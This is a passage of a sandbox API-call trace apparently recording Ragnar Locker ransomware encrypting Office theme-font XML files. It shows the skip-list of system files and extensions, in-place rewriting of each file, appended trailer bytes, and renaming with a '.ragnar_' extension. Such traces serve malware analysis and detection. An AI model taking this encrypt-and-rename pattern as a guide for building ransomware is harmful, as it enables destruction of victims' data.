hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.302] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe0e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe0e, lpOverlapped=0x0) returned 1 [0094.302] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.302] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.302] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe0e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe0e, lpOverlapped=0x0) returned 1 [0094.302] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.302] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.302] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.302] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.302] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.302] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.302] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.303] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.303] GetProcessHeap () returned 0x580000 [0094.303] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.303] CloseHandle (hObject=0x10c) returned 1 [0094.303] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" [0094.303] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.ragnar_FD7BD9FC" [0094.303] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.303] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0094.304] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.304] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Concourse.xml" | out: lpString1="Concourse.xml") returned="Concourse.xml" [0094.304] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml") returned=".xml" [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="autorun.inf") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="boot.ini") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootfont.bin") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootsect.bak") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr.efi") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgfw.efi") returned 1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="desktop.ini") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="iconcache.db") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntldr") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat.log") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.ini") returned -1 [0094.304] lstrcmpiW (lpString1="Concourse.xml", lpString2="thumbs.db") returned -1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.304] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml")) returned 0x20 [0094.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.305] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3526) returned 1 [0094.305] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.305] GetProcessHeap () returned 0x580000 [0094.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.305] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.306] VirtualAlloc (lpAddress=0x0, dwSize=0xdc6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.306] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.306] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.306] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdc6, lpOverlapped=0x0) returned 1 [0094.306] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.307] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdc6, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.307] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdc6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdc6, lpOverlapped=0x0) returned 1 [0094.307] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdc6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.307] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.307] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.307] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.307] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.307] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.307] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.307] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.307] GetProcessHeap () returned 0x580000 [0094.307] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.307] CloseHandle (hObject=0x10c) returned 1 [0094.307] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" [0094.307] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.ragnar_FD7BD9FC" [0094.307] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.308] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0094.308] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.308] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Couture.xml" | out: lpString1="Couture.xml") returned="Couture.xml" [0094.308] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml") returned=".xml" [0094.308] lstrcmpiW (lpString1="Couture.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.308] lstrcmpiW (lpString1="Couture.xml", lpString2="autorun.inf") returned 1 [0094.308] lstrcmpiW (lpString1="Couture.xml", lpString2="boot.ini") returned 1 [0094.308] lstrcmpiW (lpString1="Couture.xml", lpString2="bootfont.bin") returned 1 [0094.308] lstrcmpiW (lpString1="Couture.xml", lpString2="bootsect.bak") returned 1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr") returned 1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgr.efi") returned 1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="bootmgfw.efi") returned 1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="desktop.ini") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="iconcache.db") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="ntldr") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.dat.log") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="ntuser.ini") returned -1 [0094.309] lstrcmpiW (lpString1="Couture.xml", lpString2="thumbs.db") returned -1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.309] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml")) returned 0x20 [0094.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.311] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3836) returned 1 [0094.311] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xef3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.311] GetProcessHeap () returned 0x580000 [0094.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.311] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.312] VirtualAlloc (lpAddress=0x0, dwSize=0xefc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.312] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.312] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.313] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xefc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xefc, lpOverlapped=0x0) returned 1 [0094.313] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.313] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xefc, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.313] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xefc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xefc, lpOverlapped=0x0) returned 1 [0094.313] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xefc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.313] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.313] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xefc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.313] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.313] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.313] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.313] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.314] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.314] GetProcessHeap () returned 0x580000 [0094.314] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.314] CloseHandle (hObject=0x10c) returned 1 [0094.314] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" [0094.314] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.ragnar_FD7BD9FC" [0094.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.314] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0094.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.315] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Elemental.xml" | out: lpString1="Elemental.xml") returned="Elemental.xml" [0094.315] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml") returned=".xml" [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="autorun.inf") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="boot.ini") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootfont.bin") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootsect.bak") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgr.efi") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="bootmgfw.efi") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="desktop.ini") returned 1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="iconcache.db") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntldr") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.dat.log") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="ntuser.ini") returned -1 [0094.315] lstrcmpiW (lpString1="Elemental.xml", lpString2="thumbs.db") returned -1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.315] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml")) returned 0x20 [0094.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.316] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3656) returned 1 [0094.316] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.316] GetProcessHeap () returned 0x580000 [0094.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.316] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.317] VirtualAlloc (lpAddress=0x0, dwSize=0xe48, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.317] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.317] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe48, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe48, lpOverlapped=0x0) returned 1 [0094.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.318] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe48, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.318] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe48, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe48, lpOverlapped=0x0) returned 1 [0094.318] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, 